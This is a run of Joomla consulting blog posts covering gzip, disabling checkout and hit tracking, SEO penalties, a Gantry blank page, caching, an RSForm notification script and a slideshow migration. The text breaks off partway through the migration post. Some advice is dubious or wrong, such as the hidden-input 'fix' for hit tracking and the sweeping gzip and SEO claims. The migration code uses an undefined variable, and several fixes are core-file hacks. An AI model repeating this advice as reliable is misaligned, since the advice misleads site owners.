Which Tools Do We Use for Joomla Development?

This is a fun, light post for many of our customers who ask us about the tools that we use for Joomla development. So, for those of you who are wondering, here is the list of tools that we use to work on Joomla sites:

  • Total Commander: We use Total Commander to browse local files once we download them from the Joomla website. We also use it to zip/unzip folders, or to view files in a zipped folder without unzipping it.
  • EmEditor: EmEditor is, by far (and we’re talking light years far), the fastest and the most reliable editor on the market. We don’t use IDEs for Joomla development, we just use EmEditor. This editor can open files that are extremely large (we are talking several GBs large), and it will 1) match brackets, 2) syntax color the code based on the type of the file opened, and 3) allow for search and replace in multiple files (which is a very handy feature if we’re doing the same modification on multiple files). It also has some countless features that are extremely helpful for our work.

  • FileZilla: FileZilla, is, without doubt, the best FTP client out there. We use it all the time to download and upload to our client’s sites. It has a few quirks (sometimes it uploads a file to the wrong directory – but we’re always very careful when we’re using it), but still, it’s the best. Note that Total Commander has its own, built-in FTP client, but for some reason, it’s not as reliable as FileZilla.

  • Firefox: We use Firefox for all our web related activities on our clients’ sites, including, but not limited to, working on their WHM/cPanel, working on the backend of their Joomla website, and testing the frontend of their Joomla website. We also use Firefox to do research on Google, and to post on the itoctopus website!

  • Chrome: We use Chrome to debug JavaScript errors on our clients’ websites, as well as fixing CSS errors (or making CSS modifications). We also use Chrome to monitor the loading time of each item on the site, and to see whether the Joomla website is trying to connect to another (malicious) website before serving the page.

  • Citrix: We use Citrix to work on the Joomla websites of our large clients. Many of our large clients use Citrix that allow consulting companies to have VPN access to their development servers. Citrix is an extremely reliable tool and it’ll allow us to work smoothly with large clients.

  • Tortoise SVN client: A few of our large clients use SVN to handle the development on large websites. We use Tortoise SVN client for this purpose. Check this post to know when we can/cannot use SVN to work on a Joomla website.

If you need development help on your Joomla website, then look no further, we use the right tools and we have the best brains in this business. Just contact us and let us prove to you that we can live up to your standards – don’t forget to check our very affordable fees!

Gzip Page Compression in Joomla Can Cause a High Server Load

Everyone talks about the benefits of using gzip on Joomla sites (you can enable it by logging in to the backend and going to Site -> Global Configuration -> Server, and then choosing “Yes” next to Gzip Page Compression), but nobody tells you the whole story. The whole story is that gzip, in general, only works well on small websites, where it’s not really needed…

Let us explain ourselves, but before doing that, let us give you an idea on how gzip works…

So, how does gzip work?

Gzip is a small program on the server that compresses the HTML code before sending it to the client. So, if you visit the homepage of a Joomla website, Apache redirects the call to PHP, which then parses the page and generates the HTML code, and just before sending that HTML code to your browser, the gzip program compresses the HTML, and tells Apache that it’s done, and then Apache pushes the HTML to you. Once the browser receives the compressed (or zipped) HTML, it’ll unzip it (all modern browsers support this functionality) and will display it properly for you to see it.

So, why is it good?

It’s good because those with slow connections will save on bandwidth – for example, if the HTML page is 1 MB long (without the media, which is rare), then the zipped version can be a tenth of that size (or even less), thus saving the user some substantial bandwidth, and making the site load much faster.

And why is it bad?

It’s bad because it only works on small sites – if you have a large site, and that zipping program runs for every request, then your server’s load will increase dramatically (we’re talking about a triple digit load here), and your website will, sooner or later, crash. You will start feeling the gzip reverse effect once you have a few thousand articles on your Joomla site and a few thousand visitors every day.

We’re amazed that this wasn’t mentioned anywhere else because it’s such a huge issue: several of our large clients had serious problems and downtime because of gzip. They thought they were doing the right thing by having it enabled, but it turned out that it was making things worse, much worse!

But even on small sites, is gzip needed?

Not with today’s connection speed no – the performance gain is not even noticeable. Gzip was a good idea back in the days when people were using 56K modems – not anymore. Nowadays virtually anyone who’s connected to the Internet (on this planet) has at least a 1 Mbps connection, so loading speeds, are rarely, if ever, the visitor’s issue.

If your website has gzip enabled and it’s causing you issues, then you can disable it confidently, because it’s not that useful anyway. If you’re still not convinced, please contact us and we’ll do the explanation for you. Note that our affordable fees apply!

How to Disable Checkout in Joomla

Note: This post contains a core modification, which means that the next Joomla update may overwrite it.
Another note: This post only applies to Joomla 2.5. The below will not work on Joomla 3.x.

According to our customers, one of the most annoying features in Joomla is the checkout feature. Yes, this feature does the right thing by not allowing more than one person edit the same content at the same time, but it creates a bigger issue, such as locking content from being edited when that person doesn’t close the content when done with it. Of course, one can easily go to Site >- Maintenance >- Global Check-in to check-in all the tables, but the problem is that this action can only be done by a super user.

Many of these annoyed customers ask us to disable the checkout feature completely, and so we do this for them, here’s how:

  • We open the file modelform.php, which is located under the libraries/joomla/application/component folder.
  • We add the following line to very beginning of the function checkout:

    return true;

  • We save the file and we upload it back to its corresponding place.

  • That’s it! We have completely disabled the checkout feature in Joomla!

But isn’t there a better way to disable checkout?

The method described above is the fastest way (it literally takes less than a minute to implement), but it’s not ideal, since we are modifying the core. A better (albeit much more lengthy) way for doing this is to develop a system plugin that will run on every page load in the backend, and will reset the checked_out field (e.g. set it to zero) in all of Joomla’s content tables. This plugin shouldn’t take a lot of time to develop, but it’s definitely not as easy to implement as the above method!

Why doesn’t Joomla have a setting in the configuration settings to easily disable the checkout feature?

We don’t know – it might be that the Joomla team is overly concerned about concurrency issues, or it might be that Joomla users are used to this very old feature and have now accepted it. (By the way, WordPress doesn’t have this feature).

If you need help disabling the checkout feature in Joomla, then all you need to do is to shoot us an email or give us a call, and we’ll do it for you, either by modifying your Joomla website’s core or by creating a plugin and installing it on your site. Our work is fast, our quality is top-notch, and our fees are super affordable!

How We Update a Joomla Website with a Modified Core

Note: Make sure you backup your Joomla website before following the guide below. You should backup both the filesystem and the database.

We are lately getting many Joomla 2.5.x websites with modified core to update to the latest version of Joomla. Obviously, this is a very delicate task because a Joomla update can (and most likely will) erase all the core modifications that were done on the website, or worse, erase some of the core modifications (while leaving some modifications) and potentially make the Joomla website unstable.

Probably your question is, “How do these guys do it?” Well, here’s how:

  • We first download a clean copy of Joomla with the exact version that the client has. For example, if the client has version 2.5.11, then we download a fresh copy of Joomla 2.5.11 from Joomla’s official website. Clearly, the version that we download from joomla.org is untampered with.
  • We then extract the downloaded Joomla installation file to a folder called clean, under the root of our client’s Joomla website.

  • We then loop recursively through all the files in the clean folder, and we compare them to their peers on the actual website. For example, we compare the file articles.php in the folder clean/components/com_content/models to the file articles.php which is located in the folder components/com_content/models. We compare the files using the md5_file function.

  • If, during the loop, we find that a file is not identical to its peer, then we store the full path of that file in a file called modified.txt, which is located under the root directory of the website. We then continue the loop. When the loop ends, we will have the full path of all the modified files stored in the modified.txt file.

  • We then download the most recent copy of Joomla (e.g. 2.5.17 at the time of publishing this post), and then we extract it to a folder called v2 under the root directory of the website (the same as if we’re doing a migration).

  • Now the real and challenging work begins: we check each modified file (which path we have in the modified.txt file) for the modifications (we compare it manually with the file of the same Joomla version), and then we port the changes to the identical file of the latest Joomla version. In other words, if the file articles.php under the components/com_content/models was modified, then we port those modifications to the file articles.php which is located under the v2/components/com_content/models folder).

  • Once we finish porting all the file modifications, we copy all the files from the v2 directory to the root directory of the Joomla website, essentially overwriting the existing files.

  • That’s it! The Joomla website is updated and the core modifications are preserved.

As you can see, the process is a bit hard and delicate, and requires an experienced Joomla (and PHP) developer. If you don’t consider yourself falling into this category, then you might want to hire one who does (well, you can always hire us!).

Some caveats

  • Some Joomla websites not only have their core modified, but they also have their database modified. Technically, this shouldn’t cause any problem, but we’re usually extra careful when we work on such websites.
  • Ensure that your Joomla error reporting is set to None in the global configuration settings when you do the update. Otherwise, your visitors might see errors that might compromise the security of your website.

  • This guide only works for an update, and not for a migration. In other words, it won’t work if you’re moving from 1.5 to 2.5, or from 2.5 to 3.x.

We hope that you found our guide helpful. If you need help implementing it, then we’re always here for you. Just contact us and we’ll do the update for you in as little time as possible for a very affordable cost.

15 Reasons Your Joomla Website Got Penalized by Google

We get a couple of call every week or so from new clients telling us that their Joomla website got penalized by Google. The first question that we ask them is: “Are you sure you got penalized?”, and the second question is: “How did you know you got penalized?”.

The answer to the first question is usually always “Yes, we’re sure”. The answer to the second question is: “Well, our website used to appear among the top 5 results for certain keywords, but now it doesn’t”. So, we tell them that dropping from the top 5 results (even from the first page) doesn’t always mean a penalty. In fact, in most cases, the reason for this drop is a change in Google’s ranking algorithm (Google claim that they make hundreds of changes to their search ranking algorithm every year). An actual penalty is when the website drops 30 or 50 spots. And so they ask us 2 other questions: “What caused my Joomla website to get penalized by Google?” and “How can I recover from a Google penalty?”. The second question has been answered by hundreds of websites, and we think that most answers are wrong. A Google penalty can be very hard to recover from (often requires years – however, some websites recover fast, but we suspect they do so because of a manual intervention on Google’s end). In any case, we will not elaborate in this post on how to recover from such a penalty, and we will only focus on the first question (we believe that understanding the reasons may help in the recovery).

So, without further delay, let us discuss the 15 reasons (in no particular order of importance) that may cause a website to be penalized by Google:

  1. Website getting hacked on a regular basis: If your website gets hacked the first time and then you fix it, then Google will definitively forgive you. If it gets hacked the second time, then it may forgive you. Now if your website gets hacked regularly, then Google will think (and rightly so) that you are not serious about your website and will penalize it. Always keep your Joomla website up-to-date, and make sure you are following these security tips.
  2. Errors in your .htaccess file: A good .htaccess file can greatly boost your search engine rankings. A bad .htaccess file can cause your website to be penalized. Be very careful when you make changes to your .htaccess file because a simple change can wreak havoc upon your rankings. If you get hit with a penalty, immediately have a professional take a look at your .htaccess file.

  3. Over-optimization: Optimizing your website for search engines is good, but over-optimization can red-flag it quickly. Over-optimization is never perceived by Google as a good thing, and, as such, is often penalized. Be careful when you start optimizing, don’t shock Google. Do your optimization over weeks or even months if you have a very large website. Never do everything in one shot, even if you’re following Google’s own guidelines for a clean, respectable website.

  4. No unique content: A client called us yesterday and told us that his website was penalized. After a quick investigation, we discovered that he didn’t have a single article on his website that was unique. All his articles were copied from other websites without any credit. This duplicate content is nearly always penalized by Google, sooner or later (by the way, our client told us that he was doing this for years). Always have unique, well written content on your website and Google will eventually reward you.

  5. Writing only very short posts: Very short posts are considered by Google as a method to gain long tail traffic. While very short posts are accepted if they constitute a small percentage of your content, they will definitely harm your website when they constitute the majority of your content, especially when they are intentionally used to lure long tail keywords.

  6. Using titles that have nothing to do with your actual content: If you are using titles that are not, in any way, related to your content (and you are doing this most of the time), then Google will perceive this as a deceptive method and will penalize your website. Always use titles that are related to your content.

  7. Hiring the wrong person for a quick SEO boost: If we had a dime every time someone tells us that they got penalized after they hired a person who promised to quickly boost their search engine rankings, we’d have a whole lot of dimes (not enough to make us rich, but close). So called experts pretending that they will immediately boost your search engine rankings if you give them a few thousand dollars will often use dark techniques that will give you that boost for a month or two, and then immediately get your website penalized, permanently. They will then, of course, tell you to pay them more money to restore your website, and will blame the penalty on a change in Google’s algorithm claiming that the work they did has nothing to do with what happened. Be very wary of who you hire for SEO.

  8. Allowing spam on your website: If your website has a lot of spammy comments with links directing your visitors to obscene/malware websites, then it’ll only be a matter of time before it gets penalized. You should always monitor your user generated content, whether it’s articles, comments, or forum posts, and you should be proactive in removing spam from your website and banning those responsible for the spam.

  9. Keyword abuse: Keyword abuse is also referred to as keyword stuffing, and is the practice of including the same keyword several times in a particular post to increase the search engine rankings for that post when people search for that particular keyword. Keyword abuse can get the offending page to be penalized, and, can cause the whole website to get penalized if used sitewide. You should always monitor the density of your keywords (but then again, if you are monitoring the density of your keywords, then this means that you are doing something wrong and you know it, and this’ll eventually get you in trouble with Google).

  10. Tag abuse: We don’t think highly of tags, and neither does Google. Many website owners use tags to attract long tail keywords (causing a Google penalty), which is a wrong practice. Tags should be as few as possible and should be related to the post.

  11. Too many spelling/grammar mistakes: Google’s algorithm is getting stricter and stricter with each update. A few years ago, it was lenient towards websites with many grammar mistakes – no more. If you don’t care about grammar and spelling when you’re writing your articles/posts, then expect Google to penalize you at one point. Always make sure that your sentences can be read and comprehended by people other than yourself, and that they don’t contain any grammar or spelling mistakes.

  12. Slowness: Google’s search engine doesn’t want to direct traffic to websites that take many seconds (or even minutes) to load, but rather to websites that load instantly. If your website falls into the first category, then it may get penalized, or, at best, it will drop a few spots in the search engine rankings to the point where your search engine traffic is significantly reduced (note that statistically, most people look only at the first 5 results when searching on Google – only those who are very desperate to find the right information look past the first page). Always ensure that your Joomla website loads quickly (you may want to read how we made a Joomla website 200 times faster).

  13. Too many errors: Notices, warnings, and fatal errors are tolerated by Google, but to a certain point. If your website has errors on every single page, and if many of your pages have fatal errors, then don’t expect Google to be merciful. Note that sometimes errors can appear on your website suddenly, without you even making a single change (these errors usually happen because of a modification on the hosting server, such as an Apache/PHP/MySQL upgrade). Make sure that you always set the Error Reporting to None in your configuration settings on your production website to suppress all errors from your website.

  14. Overlinking internally: Whenever you write an article, make sure you don’t have more than a few links pointing to your other articles. Swamping your articles with links to other places on your website is not a good practice, and you may have to pay dearly for it.

  15. Overlinking externally: Overlinking externally is even worse than overlinking internally, because it labels your website as a spam website mainly used to inflate the search engine standings of other websites. It may also alert Google that you’re selling links (even if you’re not), and selling links is a forbidden practice that is severely penalized. External links have zero positive effect on your search engine rankings, and can have severe negative effects when there’s a lot of them. Note that a huge red flag is an external link that is added to any of your posts many months after it’s published (it definitely means that you’re selling links from Google’s perspective).

We hope that you found this post useful and you have learned from it. If your website got penalized by Google, then your only option is to learn from the above and perhaps submit a reconsideration request with Google (you never know). If you need help with the technical issues mentioned above (such as the fatal errors or the optimization), then please contact us. We are experts in Joomla, we are quick, we work every single day, and our fees are very affordable.

Blank Page When Trying to Edit a Gantry Template in Joomla’s Backend

We had a call earlier this week from a client telling us that whenever he tries to edit his Gantry template from Joomla’s backend, he gets a blank page. Hmmm!

We tried to edit the Gantry template ourselves but we also got the blank page… Of course, there are many, many reasons that cause the dreadful blank page issue in Joomla, but the problem with this one, is that even after we set the Error Reporting value to Maximum, the blank page was still there, and no error was displayed…

So we did some debugging until we found the root of the problem; it was this line located in the function display which is located in the view.html file (which, in its turn, is located under the administrator/components/com_gantry/views/template folder of the Joomla website):

$model->checkForGantryUpdate();

The above line is a function call that checks whether Gantry has released an update for its core or not, and if yes, it’ll tell the user about the update. Now, the issue with the above function is that not only it checks if there are updates for Gantry or not, but it’ll also check for updates for all the extensions, and this is the heart of the problem. Some old/not very well maintained extensions have a wrong update URL, which makes the whole function fail silently, and hence resulting in a blank page.

So, how can this problem be fixed?

A quick way to fix the problem is to remove the aforementioned line from the display function. Technically, this method doesn’t fix the problem, but it avoids it. It’s very quick, but the downside for it is that Gantry won’t be able to check for updates when in edit mode (which, in our opinion, is not extremely necessary).

A better way to fix the problem is to locate the problematic extension and either uninstall it or exclude its update script from the batch update process. Here’s how you can find out which extension is the culprit:

  • Login to the backend of your Joomla website.
  • Go to Site -> Global Configuration -> Server, and then set the Error Reporting to Maximum.

  • Go to Extensions -> Extensions Manager and then click on Update, and then click on Find Updates on the top.

  • You will see some fatal errors that will tell you which extension(s) has(have) problems being updated.

Now, once you find that extension, you have 2 choices:

  1. Uninstalling the extension (which is very easy but most likely not the desired action) OR

  2. Disabling the update script for that extension.

As stated above, uninstalling the extension might not be what you want, so you’re better off with disabling the update script for that extension. This can be done the following way:

  • Login to phpMyAdmin and select the database that is powering your Joomla website.
  • Go to the #__update_sites table and search for the extension that you’re having problems with.

  • Set the field enabled to 0 for the matching row. This will ensure that this extension will no longer be included in the batch extension update.

Now, the big question is, why does Gantry, in edit mode, show a blank page instead of the error even on maximum error reporting?

Well, it’s because in the function checkForGantryUpdate in the Gantry model, the call to findUpdates on the JUpdater object is preceded by the @ sign, which suppresses any error, regardless of Joomla’s error reporting or even PHP’s native error reporting. Clearly, the Gantry team felt that it’s better to display a blank page on error and confuse their clients instead of actually displaying the error.

In any case, if you’re having the same issue, then we hope that our post was helpful. If you felt that it was a bit complicated or if you felt that you need some help implementing it, then fear not – all you need to do is to contact us and we’ll fix it for you in no time and for a very reasonable cost!

Why Tags Can Hurt Your Joomla’s Search Engine Rankings

A new client called us today and told us that his Joomla website was penalized by Google. The client told us that his Joomla website slowly lost its rankings over the past few months, until it got penalized.

We did a very quick investigation and we discovered that ever since Joomla 3.1 was out, our client started using content tags in his articles. Unfortunately, our client was unknowingly abusing the Joomla tags. He was creating 4 unique tags/article, and he was creating about 10 new articles every day. In other words, every day, he had 40 new tags. Google considers this to be a spammy practice. Tags are meant to be as few as possible and they are meant to be re-used. Our client was never re-using tags.

But why does Google considers overusage of tags to be spam?

Tagging is nearly a decade old, and tags were initially used as a mean for extra categorization (in order to group related content items together). Google was happy to index these new “categories”. But, sooner rather than later, web spammers started using tags to drive long tail traffic by creating several “sentence tags” for each article/post. Google took notice of this practice and tweaked its search algorithm to address the abuse of tags. Ever since that, tags are not a welcome practice for Google, and their slightest abuse could cause a penalty.

So, there are no benefits for using tags?

Not anymore. The moderate use of tags has no SEO benefits whatsoever, and their abuse can cause the website to be penalized. Tags should be avoided and are considered to be a bad SEO practice.

But why do people still use tags on their websites?

Every single client we have worked with and that has used tagging told us that he used it based on the recommendation of a so-called “SEO specialist”. Unfortunately, our clients don’t know until it’s too late that they were conned. Most of these “SEO specialists” ask people to do something wrong, and then they ask them for money to fix the harm that they caused. It’s a really bad way to earn a living.

So, what should one do if he’s already using tags?

If you’re using tags on your Joomla website, then disable them. If you think that these tags are beneficial to your users or if the tags are technically crucial to your website, then you can add a meta tag of noindex, nofollow on every tag generated page.

If your website got penalized because of tag abuse, then try disabling the tags and then wait for a few weeks/months and see if the penalty is lifted (note that there are no guarantees for a website to gain its previous rankings with Google if it was previously penalized). If you need help with disabling your tags, then please contact us. We can do this for you in no time and for very little cost!

How to Remove Unused Files from Your Joomla Site

Note: Before starting, we would like to explain what we mean by “files” in the title of this post. By files, we mean media files (such as images, videos, mp3s, etc…) and documents (such as PDF files and Word/Excel/Powerpoint documents, etc…).

Another note: This post assumes that no file is linked to directly from outside sources. Any link to a file in your filesystem is assumed to be incoming from your website itself, and not from elsewhere.

A great way to keep your website clean is to remove unused media/document files periodically. Such files may be image files, music files, video files, PDFs, Word documents, etc… Of course, this cleanup job can be done manually, but it might take a very long time if done this way. A better way would be to develop a script that will do this task automatically. Here’s what such a script should do:

  • It will first create an index of all the media/document files available on the website. For example, it will loop through the images directory (and all the sub-directories) and it will create a record of every single image (including its path). This information can be stored in a text file or a database table.

  • Once the index of all the media/document files is created, the script must loop through all the template files and create an index of the used media/document files (let’s call this index the filesystem index). When that task is done, the same script must loop through all content tables (such as the #__content table) and create another index of the used media/document files in the database (let’s call this index the database index).

  • Once all the indexes are done, the script must loop through the index of available files and check if each one of these files exists in the filesystem index or the database index. If a match is not found in either index, then the script will automatically delete it from the filesystem (or move it to a folder outside the website directory).

  • Once the above task is done, the script will create a report of all the deleted (or moved) files.

As you can see from the above, this is a relatively easy script, and shouldn’t take a long time to develop. If you need help developing it, then please contact us. We can create this script for you in record time and for a very affordable cost!

“Email could not be sent.” Error When Emailing Articles on a Joomla Website

Using caching in Joomla will come back to haunt you. (Source: the team at itoctopus!)

If you are using caching on your website, and we’re not even talking about page level caching, just global caching, you might have experienced some broken functionality here and there. Even if you haven’t noticed anything wrong on your website, chances are, there is something wrong but you don’t know where it is. Even in 2014, caching in Joomla is still unreliable and can cause stability issues.

One of the common problems that are related to caching is the inability to email the link of an article to a friend: when someone tries to use this functionality, he gets the following error after filling in the form and pressing on submit:

Email could not be sent.

There are two ways to solve the problem:

  1. Disable global caching: You can disable global caching by logging in to the backend of your Joomla website, and then going to Site -> Global Configuration and then clicking on System, and then on the right side, under Cache Settings, choosing OFF – caching disabled next to Cache, and finally clicking on the Save button on the top right. This will fix the problem, however, this fix will also make your website slower (much slower if you have a large website). We usually opt for this solution when the website is quite small (and will remain small) and caching is not really needed.
  2. Disable content caching: For some reason, enabling global cache, also enables some sort of content caching, which is not the right behavior, since content caching is controlled by the System – cache plugin. In any case, to disable content caching, you should do the following:

    • Open the file controller.php, which is located in the component/com_content folder .
    • Remove the following line from the beginning of the display function:

      $cachable = true;

    • Save the file and upload it back to your Joomla website.

    This solution will fix the problem, and will not have a drastic effect on the performance of your website.

But, why is the problem related to caching?

We’re glad you asked! You see, when you load an article, Joomla runs a script to generate a hash for that article, and then associates that hash with the URL of the article. The link for “emailing the article to a friend” will contain that hash, and so, when you fill in the popup form and click on Submit, Joomla will check that hash, and will get the article’s URL based on the hash, and then will email the link of the article to your friend. Joomla does this whole hash thing to prevent spammers from using your website as a mean to spam other people.

Now, this is all fine, but the problem is that the association between the hash and the article’s URL is stored in the session. When the content is cached, then all the session activities that are related to this task are skipped (including the storage of the URL and the hash in the session), which means that Joomla will no longer know which article’s URL corresponds to the hash, and thus, will prevent the email from being sent.

Now, if you have this problem on your website, then try first to disable caching and see if it solves the problem, if it does, and if you really need caching, then re-enable caching and implement the second method above. If you need help in the implementation, then just contact us and we’ll do it for you in no time and for a very affordable fee!

How to Make Your Joomla Website W3C Compliant

Let us start this post by explaining, in very concise terms, what is W3C compliance:

W3C compliance is ensuring that the page has no HTML errors according to the W3C standards.

W3C compliance has several benefits:

  1. It’s good for SEO: It is well known that Google, as well as other search engines, consider websites that are W3C compliant as “clean” and “well-maintained” and rank them higher in their search results.

  2. It resolves formatting errors on your website: Making a website W3C compliant resolves most formatting errors on your website (e.g. formatting errors caused by unclosed tags or non-existent properties).

  3. It makes your website faster to load on the browser’s end: A website that is plagued with HTML errors will load slowly, mainly because the browser will need to spend more time correcting the HTML code in order to display it properly (or at least to try to display it properly) for the end user.

Now, after reading the benefits of W3C compliance, you are probably more interested than ever in making your Joomla website W3C compliant.

Here’s how to do this: Go to validator.w3.org and validate your website, and see what errors you see, then go ahead and fix each and every error/warning you see.

You should first start with fixing the template errors, these HTML errors are found in your template files (e.g. the index.php under your templates/[template-name] folder and all the files under the html directory under the aforementioned directory).

Once you do that, you should fix the HTML errors in your modules’ template files. Your modules’ template files are located under the modules/[module-name]/tmpl folder.

Once you have fixed the HTML in the modules, then your next step is to run the HTML validator again. If your website is still not HTML valid, then most likely you still have some HTML errors in one or more of the following:

  • Your content: For example your articles or your K2 articles (in case you have K2 installed). If your homepage is not validating, then you should check the HTML of the article that is displayed on the homepage.
  • A 3rd party content plugin: A content plugin makes some modifications to your content prior to serving it to your clients. If the content plugin injects some wrong HTML, then your website won’t validate. Disable content plugins one by one and see if that solves the problem. If and when it does, then the last content plugin disabled is the cause of the problem. Note that Joomla’s content plugins do not cause issues in your HTML, so your best bet is to check 3rd party content plugins.

  • A 3rd party component: If you’re displaying a 3rd party component on the homepage, then the problem could be a wrong HTML in the template files of that component, which are found in components/component-name/templates. You should check these files for any errors, and fix these errors, if any.

If you’re having some hard time in making your Joomla website W3C compliant, then all you need to do is to contact us and we’ll handle this issue for you. We are professional and proficient in Joomla, we are fast, and we won’t charge you much.

How to Easily Create Notification Emails for Form Submissions in RSForm

We love RSForm – it is by far the best form builder out there. We think that Joomla is blessed to have RSForm in the JED. One of the nicest things about RSForm is that it’s very flexible: there’s always a solution to whatever you want done, regardless of the complexity. OK – enough flirting!

Earlier today (well technically yesterday, since its 1:45 AM here in snowy Montreal) we had a client with quite a few RSForms on her website, and each of these RSForms had literally over a hundred field. The client told us that when someone fills in one of her forms, the notification email that she receives has this single line:

You have a new submission.

Not very helpful! As you have probably guessed, our client wanted to see, in that notification email, all the fields that her clients fill in. This means that we have to manually create the submission email for each form, a task that can take us many hours (remember, our client had many forms, and each one of these forms had over a hundred field). This is not very practical for 3 reasons: 1) we really, really don’t like doing manual work and we avoid it as much as possible, 2) our client’s budget didn’t accommodate the number of hours we estimated if we wanted to manually create these emails, and 3) our client will need to call us to modify these emails every time she adds/edits/removes a field. All in all, doing this task manually seemed to be a far-from-ideal solution. We needed to do it differently!

Thankfully, RSForm allows you to run a script when the form is being processed (e.g. on form submission, just before the form’s information is added to the database). This means that all we need to do is to get all the information that the user filled in from the POST array and email it to the administrator. Let’s explain how we did it:

  • We logged in to the backend of the Joomla website of our client.

  • We went to Components -> RSForm! Pro -> Manage Forms.

  • We clicked on the name of the form.

  • We clicked on the Properties tab on the right (just next to the Components tab, which is selected by default).

  • We clicked on PHP Scripts under Scripts on the left.

  • We added the following code in the Script called on form process textarea:

    $myform = $_POST['form'];
    $body = "";
    $k = 0;
    foreach ($myform as $key=>$value){
    	$k++;
    	if ((!empty($value)) && ($k < count($myform) - 2)){
    		$body .= $key.":".$value."<br />";
    	}
    }
    $mailer = JFactory::getMailer();
    $config = JFactory::getConfig();
    $sender = array('[our-client-email]','[our-client-email]');
    $mailer->setSender($sender);
    $mailer->addRecipient('[our-client-email]');
    $mailer->setSubject('[form-title]');
    $mailer->setBody($body);
    $mailer->isHTML(true);
    $mailer->setBody($body);
    $mailer->Send();

    The above code will send an email with all the filled-in fields to our client.

  • We clicked on the Save button on the top.

  • We then clicked on Admin Emails on the left, and then we removed our client’s email from the To field (this will ensure that our client will no longer get the meaningless You have a new submission email).

  • We clicked on Save on the top right, and then we tested the form, and our little script worked like a charm. Our client was happy, and we were happy!

Good work! But, is there a way to format the notification email?

Of course you can format that email. All you need to do is to add your own formatting to the code above.

What if the form changes?

If the form changes, then the email will change as well, because it’s dynamic. It actually checks which fields the user filled in and only sends the value of those fields to the site owner. This means that any form modification will not affect the integrity of the script.

What if this script doesn’t work for me?

If you have tried our script and it didn’t work for you, then please give us a call or shoot us an email, and we can implement this solution for you in no time and for a very affordable cost!

How to Disable Hit Tracking on Joomla

Many Joomla administrators know how to hide hit tracking on a Joomla article – they can do this simply by clicking on the article title in the Article Manager, and then clicking on Options button on the top right, and then setting the value of Show Hits to Hide. Setting this value will automatically hide the Number of Hits on any article’s page. But, it will not disable hit tracking, in other words, every time you load an article, the hits value of that article will be incremented by 1 (although it will not be displayed).

But what if, for one reason or another, you might want to disable hit tracking altogether (by the way, hit tracking can cause some load issues if your Joomla website has a lot of traffic and tens of thousands of articles)? Well, this can easily be done the following way:

  • Download the file article.php located under the components/com_content/models folder.

  • Open the aforementioned file, and add the following line to the beginning of the hit function:

    return true;

  • Upload the file article.php back to your Joomla website.

  • That’s it!

After doing the above, hit tracking will be completely disabled!

But, aren’t we changing a core file?

Yes, we are, and it is something that is not ideal, but this is the fastest solution. A better way to disable hit tracking is to open up the template file for the article page (e.g. templates/[your-template-name]/html/com_content/article/default.php) and add the following line:

<input type="hidden" value="0">

This solution will ensure that you’re not changing any core file, and, in our opinion, it’s a much better solution.

If you need help in completely disabling hit tracking on your Joomla website, then why not contact us? We can do it for you in no time and for a very reasonable fee!

How to Redirect a User to a Specific Page on Frontend Login

On some occasions, you may wish to redirect specific users to specific pages when they login to your website. For example, if a user hasn’t logged in for a long time, then, you may want to redirect him to a specific page where he can see the latest additions to your website. Another example would be when a user logs in for the first time, in this case you may want to redirect him to a guide on how to use your website. Yet another example we can think of is to redirect people belonging to specific groups to specific pages.

Unfortunately, Joomla, by default, cannot do this, but, it can be easily adapted to do so. How? We hear you ask. Well, all you need to do is the following:

  • Download and install Jumi, the Joomla extension which allows you to add PHP code anywhere on your website.

  • Create a Jumi that will read the user’s information and redirect to the proper page.

  • Create an article called Main Login (you can name it anything else), and in that article, insert the Jumi created in the step above.

  • Create a menu item called Main Login that will point to the article created in the previous step.

  • In the login module, choose Main Login as the login redirection page and save the module.

  • That’s it!

As you can see from the above, doing this task is extremely easy, all you need is some basic PHP programming skills. You can also use the same technique to redirect specific users to specific pages on logout.

If you need some help developing the above solution, then feel free to contact us. Our rates are extremely affordable, our work is professional, and we are the friendliest programmers in this galaxy!

How to Migrate Frontpage SlideShow from Version 2.0 to Version 3.5

Ask any programmer what kind of work he dreads (and dislikes) most, and he’ll invariably answer you: “It has to be manual data entry”. Since we are programmers, then that answer applies to us as well. But hey, life isn’t always about doing the things that you love, sometimes, you’ll need to do things that you really don’t love, for the greater good. OK, let’s get not too philosiphical here, and let us explain to you what happened yesterday afternoon…

We were migrating a Joomla website for a New York photographer; we thought that we were almost done since the only thing left to do was to migrate his slideshows. Our client was using Frontpage SlideShow (by JoomlaWorks) and he had nearly 3,000 slides spread over something like a hundred categories. We weren’t worried, because we knew that JoomlaWorks products were solid and extremely easy to migrate (K2 is a great example). However, after doing an extensive search, we discovered that the advice that JoomlaWorks gives to its users is to migrate the SlideShow component manually! In other words, a human must create all the categories, one by one, and then create the slides, also one by one, until he reaches retirement age or until the project is done. That’s not good! What’s even worse is that no one has developed a script to automate that!

Now, we discussed this project for a while amongst ourselves: If we want to create the categories and the slides manually, and assuming it takes 1 minute per category and 5 minutes per slide (one needs to download the slide from the old website and re-upload it to the new website), then it’ll take us 100 minutes for the categories and 15,000 minutes for the slides. In other words, it’ll take us 252 hours of pure, uninterrupted work to migrate the slideshow, way over the 40 hours we agreed on with the client to migrate the whole Joomla website! Since our fees were fixed (we can’t charge the client for more than 40 hours) and since we don’t have that much time on our hands (and also since we really, really, don’t like doing manual work) we had to develop a solution to migrate the slideshows automatically. And so we did!

We thought – what if we perform the same actions performed when creating a category and a slide from Joomla’s backend, but in a loop? In other words, what if we modify the models for the category and the slide in order to migrate the data. That idea worked, and the proof is below.

How we migrated Frontpage SlideShow’s categories

In order to migrate the categories, we opened the model file category.php located under the administrator/components/com_fpss/models/ folder. We changed the save() function to the below:

function save()
{
	$sql = "SELECT * FROM jos_fpss_categories";
	$db->setQuery($sql);
	$arrCategories = $db->loadAssocList();
	for ($i = 0; $i < count($arrCategories ); $i++){
		$row = JTable::getInstance('category', 'FPSS');

		$data = $this->getState('data');
		$data['title']= $arrCategories [$i]['name'];

		if (!$row->bind($data))
		{
			$this->setError($row->getError());
			return false;
		}
		if (!$row->check())
		{
			$this->setError($row->getError());
			return false;
		}
		if (!$row->id)
		{
			$row->ordering = $row->getNextOrder();
		}
		if (!$row->store())
		{
			$this->setError($row->getError());
			return false;
		}
	}
}

We then uploaded the file and we created a dummy category in FPSS SlideShow, and we clicked on the “Save” button, and that migrated all the categories! Not bad! We immediately reverted back the category.php to what it was when we were done.

How we migrated the Frontpage SlideShow’s slides

We employed the same principle above for migrating slides, but with a twist since the way the images are saved in the 3.5 version differs greatly from that in the 2.0 version. So, we first copied the images folder from the components/com_fpss/ folder from the old website to the same location on the new website (e.g. the components/com_fpss/images on the new website) to ensure that the new website has access to these images.

